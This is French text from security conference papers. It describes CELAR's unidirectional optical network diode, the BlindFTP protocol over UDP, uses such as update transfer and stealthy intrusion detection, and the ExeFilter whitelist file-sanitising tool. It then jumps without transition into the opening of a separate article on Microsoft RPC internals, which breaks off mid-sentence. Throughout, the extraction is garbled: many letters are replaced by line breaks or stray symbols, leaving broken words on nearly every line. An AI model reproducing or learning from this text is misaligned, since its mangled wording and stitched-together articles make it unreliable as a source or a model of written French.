tuelle de la Diode réseau du CELAR est volontairement très simple : elle permet

uniquement la re
opie automatisée de �
hiers ou d'arbores
en
es 
omplètes de répertoires d'un

serveur bas vers un serveur haut. Cela permet déjà de mettre en oeuvre de nombreuses appli
ations,

que nous allons détailler plus loin. Il est prévu d'améliorer à moyen terme 
ette version pour élargir

les servi
es apportés, notamment le transfert de messagerie et de �ux de supervision.

La diode réseau est 
onstituée de 2 parties, matérielle et logi
ielle, dé
rites dans les paragraphes

suivants.

2.3 Partie matérielle

La partie matérielle de la diode est une liaison Ethernet optique unidire
tionnelle qui relie 2

serveurs. Il s'agit de matériel standard peu onéreux. Le 
ara
tère unidire
tionnel de la liaison est

garanti par l'utilisation dune seule �bre optique reliée du 
�té � bas � à un port émetteur optique

(TX), du 
�té � haut � à un port ré
epteur (RX).

Les 
ara
téristiques optiques et éle
troniques intrinsèques du matériel assurent qu'au
une donnée

ne peut être transmise du haut vers le bas, il n'existe don
 pas de 
anal 
a
hé possible. C'est 
ette

propriété � matérielle � qui distingue fondamentalement la diode réseau d'un pare-feu 
lassique :

Même sil est possible de 
on�gurer un pare-feu pour bâtir une liaison unidire
tionnelle entre deux

réseaux, on ne pourra jamais assurer qu'une vulnérabilité logi
ielle ou un 
anal 
a
hé ne puisse pas

un jour permettre de transférer des données dans l'autre sens.

Il existe au moins 2 possibilités pour obtenir une telle liaison optique unidire
tionnelle :

� Installer une 
arte réseau Ethernet optique dans 
ha
un des serveurs.

� Utiliser des 
artes Ethernet 
lassiques (RJ45) dans les serveurs, et insérer 2 boîtiers 
onver-

tisseurs (trans
eivers) RJ45/optique entre les serveurs (
f. s
héma 
i-dessus).

Ces 2 possibilités aboutissent stri
tement au même résultat, 
ependant nous avons privilégié la

se
onde, 
ar 
ela permet de fa
ilement 
ara
tériser la liaison diode en tant que matériel indépendant

de tout PC et de tout logi
iel. Chaque serveur dispose également d'une autre 
arte réseau, a�n de

le 
onne
ter au réseau bas et haut.
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Problème de ré
eption Le prin
ipal problème ren
ontré lors de la mise en pla
e de 
ette partie

matérielle est lié au fait que la plupart des 
artes et des 
onvertisseurs optiques a
tuels véri�ent

� intelligemment � l'état de la 
onnexion pour fon
tionner. Ils né
essitent don
 la ré
eption régulière

d'un signal sur leur port de ré
eption RX, 
e qui n'est pas le 
as si on se 
ontente simplement de

débran
her une des 2 �bres optiques 
omme indiqué sur le s
héma 
i-dessus.

Pour 
ontourner 
e problème, nous avons testé ou envisagé diverses solutions :

� A
heter un matériel qui ne fait pas 
ette véri�
ation, ou qui peut être 
on�guré pour ne pas

le faire. Ce type de matériel semble hélas de plus en plus di�
ile (voire impossible) à trouver.

� Modi�er légèrement l'éle
tronique interne du 
onvertisseur pour désa
tiver ou leurrer 
ette

fon
tion (soudure dune simple résistan
e judi
ieusement pla
ée, par exemple). Cela risque


ependant de 
ompromettre la garantie du matériel, voire de le rendre inutilisable.

� Conne
ter un troisième 
onvertisseur bran
hé � dans le vide � sur 
e port RX (
f. [DSTO1,DSTO2℄

pour de beaux s
hémas). D'après nos quelques essais 
ela fon
tionne ave
 la plupart des mo-

dèles, seuls 
ertains posent problème.

� Con
evoir un système optique 
apable de rebou
ler une partie du signal émis du port TX sur

le port RX, ou de simuler 
e signal. Cette solution plus élégante s'éloigne 
ependant de notre

obje
tif de départ qui était d'utiliser uniquement du matériel standard.

Au �nal il est don
 indispensable de bien étudier le matériel a
heté pour 
on
evoir une diode réseau.

2.4 Partie logi
ielle - BlindFTP

La partie logi
ielle de la diode réseau 
orrespond à 2 pro
essus, 
ha
un étant installé sur un des

serveurs. La partie 
liente sur le serveur � bas � est 
hargée démettre les �
hiers d'un répertoire à

travers la liaison optique, en utilisant le proto
ole UDP. La partie serveur sur le serveur � haut �

reçoit les tronçons de �
hiers et les re
onstitue dans un répertoire destination. L'ensemble a pour

but de syn
hroniser un répertoire du serveur bas à l'identique sur le serveur haut.

Ce fon
tionnement simple permet de transférer fa
ilement des �
hiers ou des 
ourriels reçus par

d'autres 
lients ou serveurs HTTP, FTP, SMTP ou autres, a�n de fournir des servi
es aux réseaux

haut et bas.

Proto
ole BlindFTP Le prin
ipal problème est que le proto
ole UDP ne garantit ni l'a
he-

minement des données à destination, ni leur intégrité. Seul UDP est utilisable puisque la liaison

unidire
tionnelle ne permet au
un a
quittement, TCP ne peut fon
tionner sur une liaison de 
e

type. La transmission de données se fait don
 en aveugle.

Selon la 
harge CPU du serveur haut, on 
onstate que le tampon de la pile IP est régulièrement

saturé si le pro
essus de ré
eption ne traite pas les données su�samment vite. Certains datagrammes

UDP sont alors perdus. Cette situation se produit notamment lorsque le pro
essus est o

upé à

é
rire les données reçues sur le disque dur.

Pour assurer une transmission 
omplète et intègre des �
hiers, nous avons don
 dû développer un

(modeste) proto
ole de transfert de �
hiers spé
i�que en aveugle sur UDP, baptisé � BlindFTP �. Il

assure tout d'abord une limitation du débit démission, a�n de pouvoir s'adapter aux performan
es

des serveurs employés. Il est également basé sur la redondan
e de l'envoi : 
haque �
hier est transmis

N fois, et le pro
essus de ré
eption 
omplète 
haque fois les tronçons de �
hiers manquants.

La première version de la diode assurait une redondan
e au niveau de 
haque datagramme a�n

de garantir l'intégrité d'un �ux quel
onque (à la manière de TCP), 
e qui a abouti au �nal à un

fon
tionnement relativement 
omplexe et à un 
ode sour
e di�
ile à maintenir et améliorer.
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A l'inverse, BlindFTP est 
onçu de la façon la plus simple possible, et les performan
es obtenues

sont aussi satisfaisantes :

C�té émission, 
haque �
hier à transmettre est divisé en blo
s de la taille 
hoisie d'un da-

tagramme UDP (par exemple 1400 o
tets pour éviter la fragmentation) moins la taille de l'entête

BlindFTP. Ensuite, on ajoute à 
haque blo
 une entête qui 
ontient les informations suivantes :

� Nom, taille et date du �
hier

� Numéro du blo
 dans le �
hier, et nombre total de blo
s

� Index du début du blo
 dans le �
hier (o�set)

� Che
ksum CRC32 du �
hier

Ces informations sont ajoutées dans 
haque blo
, 
e qui 
onstitue une 
ertaine redondan
e et un


ertain overhead. Cependant 
ela permet de simpli�er le pro
essus de ré
eption, 
ar n'importe quel

datagramme peut être perdu. Même si un seul blo
 d'un �
hier est reçu, les informations né
essaires

à son traitement sont disponibles.

Le nom de �
hier 
ontient le 
hemin relatif du �
hier par rapport au répertoire sour
e.

C�té ré
eption, le pro
essus BlindFTP re
onstitue progressivement 
haque �
hier émis dans

un �
hier temporaire, en notant les numéros de blo
s reçus, et en 
omblant les trous si des blo
s

ont été � perdus ». Dès que tous les blo
s d'un �
hier sont reçus, 
elui-
i est re
opié à destination.

On véri�e son intégrité à laide de l'empreinte CRC32, et son nom est analysé pour éviter les

vulnérabilités de type � dire
tory traversal �.

Quand une perte de 
ertains datagrammes se produit, plusieurs transmissions du même �
hier

sont né
essaires pour 
ompléter l'ensemble des blo
s. Le pro
essus démission est don
 
on�guré

l'adresse pour renvoyer 
haque �
hier de l'arbores
en
e sour
e soit indé�niment, soit un nombre

jugé su�sant de fois (typiquement 10 ou 20), a�n de réduire le risque de ne pas re
evoir un �
hier.
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Il aurait été possible d'employer un proto
ole existant pour assurer le transfert de �
hiers sur

une liaison unidire
tionnelle, 
omme par exemple [FLUTE℄. Ce type de proto
ole n'est 
ependant

pas adapté à une simple liaison diode en raison de sa 
omplexité, 
ar il 
omprend des fon
tionnalités

destinées à la di�usion sur Internet via multi
ast, ave
 
ontr�le de �ux. Un proto
ole plus simple


omme BlindFTP permet de réduire au stri
t minimum la 
harge du serveur qui ré
eptionne les

données, 
e qui limite les pertes de datagrammes et améliore don
 les performan
es.

Con�guration L'utilisation du proto
ole UDP né
essite sur le serveur bas la 
onversion de

l'adresse IP du serveur haut en adresse MAC. A 
ause de la liaison diode, le proto
ole ARP

normalement 
hargé de 
ette 
onversion n'est pas utilisable. Il est don
 né
essaire de 
on�gurer

statiquement le 
ouple d'adresses MAC/IP du serveur haut dans la table ARP du serveur bas, 
e

qui peut se faire par exemple grâ
e à la 
ommande arp.

Une autre solution aurait pu être d'utiliser une adresse de broad
ast IP 
onvertie en broad
ast

Ethernet, ou bien à forger dire
tement des trames Ethernet ave
 l'adresse du serveur haut.

Performan
es Sans optimisation parti
ulière ave
 un programme en langage Python relativement

simple tournant sur des PCs standards à 1GHz, il est possible d'obtenir un débit moyen de 12 Mbps

à partir dune liaison Ethernet optique à 100 Mbps.

Des travaux en 
ours devraient permettre d'améliorer 
es performan
es, notamment :

� Utilisation de Psy
o (
ompilateur JIT pour Python, 
f. [PSYCO℄)

� Optimisation des paramètres système de la pile IP

� Multithreading

� Utilisation intensive de la mémoire vive 
omme tampon

� Utilisation de redondan
e et de parité (type PAR2, 
f. [PAR2℄)

� Diverses stratégies d'ordonnan
ement pour l'envoi des �
hiers

2.5 Appli
ations

De nombreuses appli
ations sont possible à partir d'une diode réseau et du proto
ole BlindFTP :

Transfert de �
hiers manuel Un répertoire de dép�t est a

essible aux utilisateurs du réseau

bas par FTP ou un partage Windows/Samba. Il est syn
hronisé vers un répertoire du réseau haut,

lui aussi a

essible aux utilisateurs grâ
e à un autre serveur (
f. s
héma 
i-dessus).

Transfert de �
hiers automatisé - mises à jour antivirus Cela peut être par exemple

employé pour des mises à jour de signatures antivirus ou d'outils 
omme Nmap, Nessus, MBSA,

et
.

Un 
lient web 
omme wget ou 
url est utilisé dans une tâ
he plani�ée pour télé
harger régu-

lièrement la nouvelle version de �
hiers de mise à jour disponibles sur Internet. Ces �
hiers sont

ensuite re
opiés via la diode sur le réseau haut, a�n de mettre à jour les outils 
orrespondants.

Ce type d'appli
ation élimine les fastidieuses mises à jour manuelles par supports amovibles, et

permet d'améliorer la réa
tivité en augmentant la fréquen
e des mises à jour.
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Re
opie de sites web En exploitant les fon
tions d'aspiration de sites web d'outils 
omme wget

ou 
url, il est envisageable de 
onstituer un miroir de sites web sur le réseau haut à travers la diode.

Dans 
e 
as il est utile de 
ombiner la diode ave
 un �ltrage de 
ontenu 
omme ExeFilter pour se

protéger 
ontre d'éventuels 
odes malveillants.

Transfert de mises à jour Windows ave
 WSUS WSUS est la solution de Mi
rosoft qui permet

de 
onstituer un serveur � Windows Update � à l'intérieur d'un réseau d'entreprise, a�n d'éviter

que 
haque poste 
lient doive se 
onne
ter à Internet pour béné�
ier des mises à jour automatiques.

L'in
onvénient majeur de 
ette solution est que le serveur WSUS doit obligatoirement être 
onne
té

à Internet pour télé
harger régulièrement les 
orre
tifs.

Depuis mi-2005, la nouvelle version du serveur WSUS a apporté une fon
tion révolutionnaire,

qui permet en�n de transférer la base de données d'un serveur WSUS vers un autre par simple

re
opie de �
hiers. Le serveur WSUS 
onne
té au réseau d'entreprise na don
 plus besoin d'être


onne
té à Internet.

Nous utilisons 
ette solution depuis plusieurs mois ave
 su

ès à travers la diode CELAR, 
e

qui permet d'optimiser la mise à jour des postes 
lients et serveurs Windows tout en garantissant

la 
on�dentialité du réseau 
onne
té à la diode.

Transfert de mises à jour Linux Comme la plupart des distributions Linux proposent également

des systèmes de mises à jour automatisées, il est envisageable de fournir 
e servi
e à travers une

liaison diode. C'est une des appli
ations que nous avons prévu de développer à 
ourt terme.

Transfert de messagerie SMTP Il est possible de syn
hroniser une �le d'attente de messages

d'un serveur (par exemple Sendmail ou Post�x), a�n de re
evoir sur le réseau haut des messages

émis depuis le réseau bas. En e�et la plupart des serveurs sauvegardent les messages reçus 
omme

des �
hiers dans un simple répertoire, qu'il est possible de re
opier vers un autre serveur.

Cette appli
ation avait été mise en oeuvre ave
 la première version de la diode, mais n'a pas

en
ore été adaptée à la version a
tuelle.

Syn
hronisation de bases de données, d'annuaires, ... Comme 
ela est le 
as ave
 WSUS,

n'importe quelle base de données est exportable et importable sous forme de �
hiers. Une liaison

diode peut don
 servir à re
opier une base de données quel
onque d'un réseau bas vers un réseau

haut. Il serait même envisageable d'optimiser le pro
essus en adaptant le proto
ole BlindFTP pour

fon
tionner dire
tement ave
 les serveurs de bases de données sans passer par des imports/exports

de �
hiers.

Ar
hivage sé
urisé Certains systèmes d'information hautement sé
urisés né
essitent la prote
tion

à long terme de l'intégrité de 
ertaines données ar
hivées, par exemple de journaux de sé
urité

a�n de garantir l'imputabilité des a
tions et la non-répudiation. Une diode peut être utilisée pour

re
opier régulièrement 
es informations vers un réseau � san
tuaire » où les utilisateurs ne peuvent

se 
onne
ter pour les e�a
er ou les modi�er après transfert.
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Supervision réseau et sé
urité Une liaison diode est également exploitable pour des proto
oles

plus simples basés sur UDP. Il est par exemple envisageable de transmettre dire
tement des proto-


oles unidire
tionnels 
omme syslog ou SNMP-trap a�n de permettre la supervision du réseau bas

par la réseau haut.

Déte
tion d'intrusion furtive - Honeypots Pour �nir, une liaison optique unidire
tionnelle

permet également l'é
oute réseau, par exemple pour la déte
tion d'intrusion. Pour 
ela, il su�t de

rempla
er le � serveur diode bas � sur les s
hémas 
i-dessus par un 
on
entrateur réseau (hub) ou

par un 
ommutateur (swit
h) ave
 un port 
on�guré pour relayer tout le tra�
. Le serveur diode

haut héberge quant à lui le logi
iel de déte
tion d'intrusion. Celui-
i peut alors é
outer tout le tra�
,

mais il ne peut rien émettre, 
e qui le rend don
 totalement furtif même en 
as de vulnérabilité.

Ce type de solution pourrait aussi être intéressante dans le 
adre des pots de miel, pour remonter

des informations de façon plus furtive.

3 ExeFilter

ExeFilter est un logi
iel qui permet d'analyser et de �ltrer des �
hiers ou des 
ourriels, a�n de

ne laisser passer que des 
ontenus maîtrisés, statiques et ino�ensifs. Tout 
ontenu a
tif 
omme un

�
hier exé
utable, une ma
ro ou un s
ript peut être bloqué ou nettoyé (
f. [SSTIC03,SSTIC04℄).

Une politique de �ltrage stri
te est appliquée, pour n'a

epter que 
ertains formats de �
hiers


onnus et maîtrisés. L'analyse est ré
ursive si des formats 
onteneurs sont déte
tés (ar
hives ZIP,

TAR, Gzip, ) Ce module est 
onçu de façon générique, a�n de pouvoir l'employer pour divers

proto
oles : FTP, SMTP, HTTP, ...

Aujourd'hui des �ltres ont été 
réés pour analyser les formats les plus usuels : TXT, HTML,

PDF, DOC, XLS, PPT, RTF, JPG, GIF, MP3, AVI, ZIP, ...

3.1 Obje
tifs

L'obje
tif prin
ipal d'ExeFilter est de protéger l'intégrité d'un système d'information parti
uliè-

rement sensible, lorsque 
elui-
i reçoit des �
hiers ou des 
ourriels provenant d'autres systèmes d'un

niveau de 
on�an
e inférieur (par exemple Internet). Cette intégrité est parti
ulièrement mena
ée

par les 
hevaux de Troie, virus et autres 
odes malveillants 
ontenus dans 
es �
hiers et 
ourriels.

Comme 
ela avait été rappelé lors de [SSTIC03℄, il est impossible de 
on
evoir un �ltre 
apable de

dis
riminer sans erreur un 
ode exé
utable � ino�ensif � d'un 
ode malveillant quel
onque (
onnu

ou in
onnu).

Pour de nombreux systèmes d'information né
essitant un haut niveau de sé
urité, les outils de

prote
tion 
lassiques 
omme les antivirus ou les �ltres basés sur des méthodes heuristiques ne sont

pas su�sants. En e�et leur 
on
eption suppose que l'on a

epte toujours le risque de laisser passer


ertains 
odes malveillants in
onnus. Une solution plus satisfaisante est don
 de �ltrer toute forme

de 
ode exé
utable, a�n de n'a

epter que des 
ontenus totalement statiques et ino�ensifs. C'est

l'obje
tif d'ExeFilter.

Il est à noter qu'ExeFilter protège 
ontre quasiment tous les virus 
onnus, puisque 
eux-
i

se répliquent sous une forme de �
hiers exé
utables qui n'est pas a

eptée par ExeFilter dans

une 
on�guration � standard » (
f. [VBPREV℄ pour un aperçu des statistiques de virus a
tifs

a
tuellement).
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3.2 Historique du projet

Le CELAR se pen
he sur le thème de l'analyse de 
ontenu (�
hiers et 
ourriels) depuis au moins

2000. Après plusieurs projets divers et variés dans 
e domaine, basés sur l'intégration d'outils


ommer
iaux, nous avons abouti au 
onstat qu'il n'est pas en
ore possible d'obtenir un �ltrage

satisfaisant à l'aide d'outils disponibles sur le mar
hé.

Le projet qui a mené à ExeFilter a débuté �n 2004. Un premier développement très rapide en

langage Python a permis de montrer qu'il était possible de 
on
evoir un �ltre très e�
a
e en se

basant sur un algorithme solide, dé
rit 
i-après. Aujourd'hui 
e projet est utilisé en semi-produ
tion

depuis �n 2005, et les résultats sont très en
ourageants.

3.3 Limites et 
ontraintes

Même si ExeFilter permet d'aboutir à un niveau de 
on�an
e beau
oup plus élevé qu'un antivirus


lassique, une prote
tion absolue est impossible.

Tout d'abord, un �ltre tel qu'ExeFilter est obligatoirement limité à un nombre �ni de formats de

�
hiers 
onnus et maîtrisés. Il est indispensable de 
onnaître parfaitement un format pour pouvoir

identi�er quels sont les 
ontenus ino�ensifs et quels sont les 
ontenus a
tifs.

De plus l'e�
a
ité d'un tel �ltrage ne peut être garantie à 100% au 
ours du temps :

� Les formats de �
hiers évoluent. Un format maîtrisé et 
onnu à un instant donné peut être

enri
hi et apporter de nouvelles fon
tionnalités problématiques en terme de sé
urité quelques

mois plus tard.

� L'interprétation d'un format de données dépend fortement de l'appli
ation qui ouvre le �
hier,

et 
es appli
ations peuvent évoluer. Ainsi un même �
hier HTML ino�ensif pour Mozilla

Firefox peut se révéler malveillant lorsqu'il est ouvert dans Internet Explorer (et vi
e-versa).

� L'exploitation d'une vulnérabilité d'implémentation d'une appli
ation, permettant par exemple

l'exé
ution de 
ode arbitraire à l'aide d'un débordement de tampon. Cette vulnérabilité n'est

pas liée au format de �
hier lui-même, mais à l'appli
ation.

Un �ltrage stri
t tel que 
elui appliqué par ExeFilter est très 
ontraignant pour l'utilisateur, 
ar

il interdit de nombreuses fon
tionnalités � a
tives � habituellement employées pour agrémenter

les do
uments : ma
ros, s
ripts, animations, Il ne peut don
 être mis en oeuvre que pour des

inter
onnexions né
essitant un niveau de 
on�an
e parti
ulièrement élevé. Les besoins 
onstants

d'é
hanger de nouveaux formats de �
hiers posent notamment problème, 
ar il est né
essaire de

mener une analyse de risques sur 
haque format de �
hier.

Au �nal ExeFilter permet de réduire drastiquement le risque de transmettre un 
heval de Troie

ou un virus 
amou�é dans un �
hier ou un 
ourriel, au prix dune rédu
tion notable de 
ertaines

fon
tionnalités.

3.4 Algorithme

Le fon
tionnement d'ExeFilter repose sur quelques idées simples :

� On ne veut autoriser que des formats de �
hiers ou de 
ourriels 
onnus et maîtrisés. Pour 
ela,

un �
hier doit être obligatoirement re
onnu par son nom (extension) ET par son 
ontenu.

� Les 
ontenus autorisés doivent être ino�ensifs pour le système d'information qui les reçoit.

On doit les � nettoyer � si 
ela est possible.

� Les �
hiers in
lus dans un format 
onteneur doivent être ré
ursivement analysés.
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Avant de dé
rire 
e fon
tionnement, il est né
essaire de bien dé�nir quelques termes :

Dépollution ou nettoyage A
tion qui 
onsiste à supprimer ou désa
tiver tout 
ontenu interne

d'un �
hier (ou d'un ensemble de �
hiers) sus
eptible de poser des problèmes de sé
urité (
onfor-

mément à une politique de sé
urité 
hoisie).

Format de �
hier Un format de �
hier 
orrespond à un type de �
hier parti
ulier qui peut

être dé
odé et interprété par une appli
ation donnée ou le système d'exploitation. Un format est

généralement asso
ié à une stru
ture interne pré
ise ou à une syntaxe, ainsi qu'à un nom de �
hier

se terminant par une extension donnée. Par exemple le 
ontenu d'un �
hier exé
utable Windows

doit (au minimum) 
ommen
er par � MZ �, et son nom doit se terminer par l'extension � .exe �.

Conteneur Un format 
onteneur 
orrespond à un �
hier sus
eptible de 
ontenir un ou plusieurs

autres �
hiers, qu'une appli
ation est 
apable d'extraire. Par exemple une ar
hive ZIP est un format


onteneur. Dans l'algorithme générique d'ExeFilter, un répertoire est également un 
onteneur.

Filtre Un �ltre est un module logi
iel 
orrespondant à un format de �
hier donné, 
apable :

� d'analyser le nom et le 
ontenu interne d'un �
hier a�n de 
on�rmer sil 
orrespond au format

attendu,

� de déte
ter la présen
e éventuelle de 
ontenu potentiellement dangereux,

� de nettoyer 
e 
ontenu le 
as é
héant,

� ou de prévenir que 
e 
ontenu ne peut être nettoyé.

Résultat d'un �ltre Après l'a
tion d'un �ltre sur un �
hier, le résultat peut être l'un des

suivants :
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� � a

epté � : le �
hier 
orrespond bien au format attendu, et au
un 
ontenu potentiellement

dangereux na été déte
té.

� � nettoyé � : le �
hier 
orrespond bien au format attendu, au moins un 
ontenu potentielle-

ment dangereux a été déte
té, tous 
es 
ontenus ont été 
orre
tement supprimés ou désa
tivés.

� � refusé � : le �
hier 
orrespond bien au format attendu, au moins un 
ontenu potentiellement

dangereux a été déte
té mais na pu être 
orre
tement supprimé ou désa
tivé.

� � non re
onnu � : le �
hier ne 
orrespond pas au format attendu par le �ltre.

Algorithme de nettoyage L'algorithme global de nettoyage s'applique sur un 
onteneur (un

répertoire ou une ar
hive). Pour 
ha
un des �
hiers, on e�e
tue les a
tions suivantes :

1. On extrait l'extension du nom du �
hier.

2. On séle
tionne tous les �ltres 
orrespondant à 
ette extension. Par exemple un �
hier � rap-

port.do
 � peut 
orrespondre aux formats MS-Word, RTF ou bien texte ASCII.

3. On applique alors 
ha
un des �ltres séle
tionnés, qui analyse le 
ontenu du �
hier, le nettoie si

besoin, puis retourne un des résultats dé�nis plus haut.

4. Les résultats des di�érents �ltres sont fusionnés, en gardant le résultat prioritaire.

5. Si un des �ltres 
orrespond à un format 
onteneur 
omme ZIP, alors on applique ré
ursivement

le même algorithme à 
e 
onteneur.

6. Si le résultat �nal est � a

epté � ou � nettoyé �, alors le �
hier peut être transmis à destination.

Sinon il est pla
é en quarantaine ou simplement supprimé.

7. Au �nal, on obtient bien un �
hier dont on a véri�é la 
ohéren
e du nom ave
 un format, et

dont le 
ontenu a été validé et nettoyé.

Filtrages � liste noire � et � liste blan
he � Un �ltrage de type � liste noire � 
onsiste

à a

epter tout sauf 
ertains 
ontenus expli
itement interdits : � tout 
e qui n'est pas interdit est

autorisé �.

A l'inverse, l'appro
he � liste blan
he � n'autorise que 
ertains 
ontenus bien identi�és et

interdit tout le reste : � tout 
e qui n'est pas autorisé est interdit �.

Pour 
e qui 
on
erne les formats de �
hiers, ExeFilter permet d'appliquer une politique de

�ltrage de type liste blan
he, alors que la plupart des antivirus et des logi
iels d'analyse de 
ontenu


lassiques sont plut�t basés sur l'appro
he liste noire.

3.5 Appli
ations

ExeFilter a été 
onçu 
omme un module générique pouvant servir à de nombreuses appli
ations,

dont voi
i 
ertains exemples :

Sas de dépollution de supports amovibles Un sas de dépollution est un poste 
lient permet-

tant l'importation de �
hiers vers un système d'information sé
urisé à partir de supports amovibles

(disquettes, CDs, DVDs, 
lés USB, ...).

Habituellement 
e type de solution repose essentiellement sur 1 ou plusieurs antivirus. ExeFilter

permet d'appliquer une politique de sé
urité plus stri
te a�n de mieux protéger le système.
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Passerelle de transfert de �
hiers ExeFilter peut être employé pour appliquer une politique

de sé
urité sur une passerelle d'inter
onnexion, lorsque 2 systèmes d'information ont besoin de

s'é
hanger des �
hiers.

Pour 
ela il est par exemple possible de 
on�gurer un serveur FTP ou Samba pour qu'il fournisse

un répertoire de dép�t a

essible en é
riture 
�té émetteur, et un répertoire destination a

essible

en le
ture de l'autre 
�té. ExeFilter est alors 
hargé de nettoyer 
haque �
hier déposé avant de le

re
opier dans le répertoire de destination.

Passerelle de �ltrage de messagerie De la même façon, ExeFilter peut être intégré dans un

serveur SMTP relais sur une passerelle de messagerie, a�n d'analyser tous les 
ourriels et leurs

piè
es jointes.

Passerelle de �ltrage Web Pour terminer, ExeFilter peut être intégré dans un proxy HTTP

pour sé
uriser l'a

ès au Web.

Au 
ontraire des appli
ations pré
édentes, le 
ara
tère syn
hrone et dynamique de la 
onsulta-

tion Web né
essite des performan
es très élevées. Ce type d'appli
ation n'a pas en
ore été validé

ave
 la version a
tuelle d'ExeFilter.

Diode + ExeFilter Pour des passerelles d'inter
onnexion unidire
tionnelles 
omme 
elles dé
rites

au 
hapitre � Diode réseau �, il est bien sûr envisageable de 
ombiner la diode et ExeFilter a�n de

protéger à la fois la 
on�dentialité et l'intégrité du réseau haut, tout en assurant des servi
es de

transfert de �
hiers, de 
ourriels et de sites web.

4 ...Pourquoi le langage Python ?

Les 2 projets Diode et ExeFilter sont développés ave
 un temps 
ontraint, en tentant de privilé-

gier l'appro
he KISS (Keep It Simple, Stupid, 
f. [KISS℄), pour garantir la 
larté du 
ode, l'évolutive

et la portabilité pendant les siè
les à venir. Un 
ode sour
e simple et 
lair est toujours plus fa
ile à

lire, à 
omprendre, et don
 à sé
uriser et à auditer. Cela favorise également le partage au sein d'une

équipe de développement. Pour 
ela, Python est aujourd'hui un des langages les plus adaptés, 
ar

il fournit une syntaxe 
laire et des fon
tionnalités de haut niveau. Mais 
e sont les experts qui en

parlent le mieux :

� � Life is short. You need Python. � (Bru
e E
kel, 
f. [ECKEL℄)

� � Python est le 
hemin le plus rapide entre l'idée et le programme. » (Philippe Biondi, Las

Vegas)

Plus sérieusement, Python a permis de gagner beau
oup de temps lors du développement de la

diode et d'ExeFilter, puisque sa bibliothèque standard fournit de très nombreuses fon
tionnalités

de haut niveau, 
omme par exemple la gestion de �
hiers ZIP, de 
ontenus HTML, XML, et
.

Pour �nir, 
e langage a également permis de développer un 
ode très portable, qui fon
tionne

aussi bien sous Windows, Linux, BSD ou Ma
OSX (en�n, presque).
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6 Con
lusion

Les 2 projets Diode et ExeFilter présentés dans 
et arti
le apportent deux briques innovantes

pour bâtir des inter
onnexions hautement sé
urisées entre un système d'information sensible et un

réseau non maîtrisé 
omme Internet. De nombreuses appli
ations sont possibles et ne demandent

qu'à être développées ou améliorées.

La possibilité de di�user 
es projets en tant que logi
iels libres via le site http ://admisour
e.gouv.fr

est en 
ours d'étude. A suivre...
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Résumé Cet arti
le propose au le
teur une plongée au 
÷ur des RPC Mi
rosoft, 
es appels

de fon
tions distants qui ont tant fait parler d'eux ave
, entre autres, les vers Blaster, Sasser ou

Zotob. La 
onnaissan
e de leur fon
tionnement détaillé est un atout majeur pour qui
onque

veut de nos jours sé
uriser un réseau de ma
hines sous Windows, ou ses propres appli
ations


lient serveur 
ommuni
ant via RPC.

Nous présenterons les prin
ipes des RPC tels qu'ils sont implémentés dans Windows, en

s'attardant sur 
ertaines fon
tionnalités intéressantes (que 
ertains préféreront appeler vul-

nérabilités). Nous aborderons le langage de dé�nition des interfa
es MIDL, sa dé
ompilation

et son obs
ur
issement possible. Puis nous 
on
lurons sur les renfor
ements possibles de la

sé
urité des mé
anismes RPC, notamment les solutions retenues dans les derniers appli
atifs

Mi
rosoft.

1 Introdu
tion

L'a
ronyme RPC est maintenant an
ré dans la mémoire des professionnels de la sé
urité pour de

tristes raisons, 
itons parmi 
elles-
i Blaster, Sasser, Zotob. Si l'organisation de 
es appels distants de

fon
tion (Remote Pro
edure Call) a longtemps été obs
ure, elle est maintenant mieux appréhendée.

Les 
onstats des diverses disse
tions menées à bien ne sont pas �atteurs...

En e�et, l'utilisation du standard DCE RPC par Mi
rosoft dans ses systèmes d'exploitation,

aussi appelé MSRPC, 
on
entre un éventail de vulnérabilités (ou fon
tionnalités selon le point de

vue) impressionnant, aussi bien dans la 
on
eption de l'ar
hite
ture mise en ÷uvre que dans son

implémentation. C'est sur 
es fondations friables que se bâtissent des appli
atifs, il 
onvient don


de 
omprendre les mé
anismes en jeu a�n d'éviter à son édi�
e de s'e�ondrer à la moindre se
ousse.

Nous orienterons la suite de 
et arti
le dans une dire
tion résolument te
hnique, en insistant sur

des points mé
onnus ou peu do
umentés de MSRPC, a�n d'éviter des redites ave
 des do
uments

existants. Après avoir introduit quelques 
on
epts 
lés de RPC, nous aborderons le langage de

des
ription des interfa
es, MIDL (Mi
rosoft Interfa
e Des
ription Language) [MIDL℄, ainsi que les

possibilités de rétro-
on
eption o�ertes par 
elui-
i, puis nous nous attarderons sur les faiblesses

stru
turelles de MSRPC, et 
e, au travers d'exemples singuliers. En�n, nous 
on
lurons sur les

e�orts de sé
urisation engagés par Mi
rosoft ave
 les dernières versions de ses logi
iels.

2 MSRPC, l'implémentation de DCE RPC par Mi
rosoft

Le mé
anisme de RPC permet d'appeler des fon
tions sur un système distant de façon quasi

transparente 
omme s'il s'agissait d'appels lo
aux. Parmi les deux prin
ipales implémentations

existantes de RPC, Mi
rosoft a implémenté dans ses produits DCE RPC en y ajoutant des fon
-

tionnalités spé
i�ques à Windows.



145

2.1 Quelques 
on
epts 
lés

A�n de 
omprendre le fon
tionnement de MSRPC, il est né
essaire d'introduire deux notions

importantes : 
elle d'interfa
e (� interfa
e � en Anglais), de proto
ole de transport, et de point �nal

(� endpoint � en Anglais).

Un servi
e RPC Windows peut être a

essible via di�érents proto
oles de transport, les plus

fréquents étant :

� un pipe utilisé par le proto
ole réseau Windows SMB/CIFS (n
a
n_np) ;

� le proto
ole réseau TCP (n
a
n_ip_t
p) ;

� le proto
ole réseau UDP (n
a
n_ip_udp) ;

� le proto
ole HTTP (n
a
n_http) ;

� un pipe SMB/CIFS lo
al (n
alrp
).

Lorsque le proto
ole de transport utilisé est SMB/CIFS le servi
e RPC est en é
oute sur les

ports TCP 139 et 445. S'il s'agit de TCP ou UDP le port doit être pré
isé lors de la 
réation du

servi
e. Un 
lient peut 
onnaître le port en interrogeant le servi
e � portmapper � en é
oute sur le

port TCP 135.

L'ensemble des proto
oles de transport utilisés par un servi
e RPC est dé�ni au sein d'un point

�nal (� endpoint �) et a le format suivant :

endpoint("n
a
n_ip_t
p:[2046℄", "n
a
n_np:[\ \

pipe\\rp
_servi
e℄");

L'exemple pré
édent représente un servi
e RPC en é
oute sur le port TCP 2046 et également

disponible via le proto
ole réseau SMB/CIFS.

Un servi
e RPC 
ontient en�n une ou plusieurs interfa
es servant à dé
rire toutes les fon
tions

utilisées ainsi que tous les points �naux disponibles. Une interfa
e RPC est représentée par un

identi�ant (uuid (00000001-0002-0003-0004-000000000005)), un numéro de version (version (1.0)),

des points �naux (optionnels). Le le
